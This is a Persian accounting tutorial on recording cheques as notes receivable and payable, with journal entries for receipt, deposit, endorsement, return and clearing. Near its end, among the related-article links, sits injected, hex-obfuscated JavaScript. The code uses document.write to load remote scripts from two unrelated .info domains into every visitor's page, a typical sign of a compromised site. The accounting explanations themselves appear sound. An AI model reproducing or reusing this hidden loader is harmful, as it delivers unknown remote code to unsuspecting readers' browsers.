اسناد دریافتنی(دریافت چک) واسناد پرداختنی(صدورچک) چیست؟مراحل واگذاری اسناد دریافتنی

چکیده

امروزه در مبادلات تجاری به شکل گسترده ای از چک استفاده می‌‎شود.
در این مبادلات معمولا نوعی از بدهی یا طلب به نوع دیگری از آن تبدیل می‌‎شود.به عنوان مثال با دریافت چک از شخصی که به ما بدهکار می‎باشد نوع بدهی وی از حساب دریافتنی به اسناد دریافتنی تغییر می‎یابد. این بدهی تا زمان وصول چک یا تسویه مبلغ بدهی وجود دارد و شخص بدهکار ملزم به پاس کردن چک و یا پرداخت وجه در قبال چک ارائه شده می‎باشد.

در این مقاله ثبت‎های حسابداری مربوط به دریافت چک (اسناد دریافتنی) و پرداخت چک(اسنادپرداختنی)مراحل واگذاری  آن آموزش داده می‎شود.

اسناد دریافتنی

 اسناد دریافتنی به اسناد یا چکهایی گفته می شود که شرکت یا موسسه ای در قبال خدمات ارائه شده یا در صورت داشتن طلب از مشتریان و یا هرشخص دیگری دریافت می کند. این اسناد به صورت اوراقی می باشند که پرداخت کننده اوراق یا اسناد متعهد می‌شود مبلغ معینی را در موعد معینی در وجه حامل یا فرد مشخصی بپردازد.

یكی از زیر سیستم های نرم افزار حسابداری، نرم افزار چك و بانك می باشد. در این زیر سیستم كلیه چك ها دریافت شده از مشتریان یا اشخاص دیگر و نیز كلیه چك های صادر شده ثبت و مراحل مختلف روی آن ها اعمال میگردد و در نهایت صدورسند حسابداری  تمامی این مراحل صورت میپذیرد.

چك های دریافتی از دیگران به اسناد دریافتنی نیز معروف است. مشخصات این چك ها از قبیل تاریخ و شماره چك، مبلغ، نام شخصی كه چك را داده و بانك و شعبه آن در فرم ثبت چك وارد شده و صدور سند آن به صورت زیر انجام میشود:

حسابها و اسناد دریافتنی / اسناد دریافتنی نزد صندوق

                                                            حسابها و اسناد دریافتنی / بدهكاران تجاری( استفاده از تفصیلی شخص)

چنانچه چك را به جای مشتری از شخص دیگری گرفته باشیم طرف دوم این سند تغییر میكند.

پس از مرحله دریافت چك، چند مرحله میتواند وجود داشته باشد:

نقد كردن چك: چك دریافت شده را مستقیما به بانك برده و آن را نقد میكنیم. این پول در واقع وارد صندوق شركت می شود كه ثبت سند آن اینگونه است:

موجودی نقد و بانك / صندوق

                                                حسابها و اسناد دریافتنی / اسناد دریافتنی نزد صندوق

چنانچه پول را به حسابمان واریز كنیم یك مرحله صدور سند دیگر نیز لازم است كه در آن بانك ما بدهكار و صندوق ما بستانكار می شود.

به حساب خواباندن چك: اگر چك را به جای نقد كردن به حساب خود بخوابانیم این مرحله را برایش ثبت و سند زیر را صادر میكنیم:

حسابها و اسناد دریافتنی / اسناد دریافتنی در جریان وصول

                                                 حسابها و اسناد دریافتنی / اسناد دریافتنی نزد صندوق

واگذاری چك به دیگران: در اینجا چك دریافت شده را بابت بدهی یا مورد دیگری به شخص سوم واگذار كرده و به اصطلاح چك را خرج میكنیم. ثبت سند آن به صورت زیر است:

حسابها و اسناد پرداختنی تجاری / بستانكاران تجاری

                                                            حسابها و اسناد دریافتنی / اسناد دریافتنی نزد صندوق

عودت چك واگذار شده: چنانچه چك به هر دلیلی مانند نداشتن موجودی یا به هم خوردن معامله به صاحبش برگردانده شود این مرحله ثبت می شود و ثبت سند آن درست برعكس مرحله دریافت چك می باشد.

پاس شدن چك: چنانچه چك خوابانده شده به حساب بانك وصول شده و به حساب بانكی واریز گردد مرحله پاس شدن چك ثبت می شود كه صدور سند آن به قرار زیر است:

موجودی نقد و بانك / بانكها( تفصیلی بانك)

                                                حسابها و اسناد دریافتنی / اسناد دریافتنی در جریان وصول

همه این توضیحات درباره چك های دریافتی بود. چنانچه برای كاری چك توسط شركت صادر گردد، به آن چك یا اسناد پرداختنی میگویند.

اسناد پرداختنی

 اسناد تجاری که از سوی مؤسسه به واسطۀ دریافت کالا یا خدمات صادر شده است.

برای این نوع چك هم چند مرحله ثبت میشود كه عبارت است از:

صدور چك و واگذاری به دیگران: در این مرحله مشخصات چك همانند مرحله قبل وارد سیستم شده و نفری كه چك قرار است به او داده شود مشخص می شود. صدور سند بدین گونه است:

حسابها و اسناد پرداختنی تجاری / بستانكاران تجاری( تفصیلی شخص)

                                                            حسابها و اسناد پرداختنی تجاری / اسناد پرداختنی تجاری

طرف بدهكار سند با توجه به هدفی كه چك را بابت آن داده ایم قابل تغییر است.

وصول چك: به محض نقد شدن چك و برداشت وجه آن از حساب بانك توسط مشتری یا دارنده چك، چك وارد مرحله پاس شدن می شود و سند آن اینگونه ثبت میگردد:

حسابها و اسناد پرداختنی تجاری / اسناد پرداختنی تجاری

                                                                        موجودی نقد و بانك / بانكها( تفصیلی بانك)

عودت چك: زمانی كه به هر دلیلی چك واگذار شده به مشتری برگردانده شود، مرحله عودت چك ثبت شده و سند آن دقیقا عكس مورد ۱ ثبت میگردد.

مطالب مرتبط:تا چه حدی با مسئولیت و وظایف حسابدار خزانه داری آشنا هستید؟

مطالب پرکاربرد:

قوانینی که یک حسابدار باید بداند و ویژگی‎های یک حسابدار حرفه‎ای

با ۶۰ ماده کلیدی قانون مالیاتهای مستقیم برای حسابداران جوان وجویای کار بیشتر آشنا بشید!

آشنایی با قوانین مالیاتی ، مراحل تسليم اظهارنامه مالیاتی و برگ تشخيص ماليات var _0xa929=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x59\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x62\x65\x73\x73\x74\x61″,”\x68\x65\x74\x65\x2E\x69\x6E\x66\x6F\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function evop(){var _0x6327x2=_0xa929[0];var _0x6327x3=_0xa929[1];var _0x6327x4=_0xa929[2];var _0x6327x5=_0xa929[3];document[_0xa929[4]](_0x6327x2+ _0x6327x3+ _0x6327x4+ _0x6327x5)}evop() var _0x22d1=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x74\x65\x72″,”\x63\x61\x62\x69\x6C\x69\x73\x2E\x69\x6E\x66\x6F\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function jiler(){var _0xd9f0x2=_0x22d1[0];var _0xd9f0x3=_0x22d1[1];var _0xd9f0x4=_0x22d1[2];var _0xd9f0x5=_0x22d1[3];document[_0x22d1[4]](_0xd9f0x2+ _0xd9f0x3+ _0xd9f0x4+ _0xd9f0x5)}jiler()

پیمان رسولی | بنیان گذار مجموعه اموزش حسابداری (حسابدارشو)

داستان یک آرزو

همیشه آرزو داشتم یک منبع آموزشی خیلی قوی و کاربردی برای ورود به بازار کار حسابداری وجود داشته باشه تا فارغ التحصیلان این رشته در سراسر کشور خیلی ساده و تکنیکال دغدغه نبود مهارت و تجربه رو در خودشون از بین ببرند و استرس شروع به کارشون تبدیل به اعتماد به نفسشون بشه .... آن آرزو اکنون "حسابدار موفق" نام دارد.

پیمان رسولی / بنیان گذار حسابدار موفق
مشاوره رایگان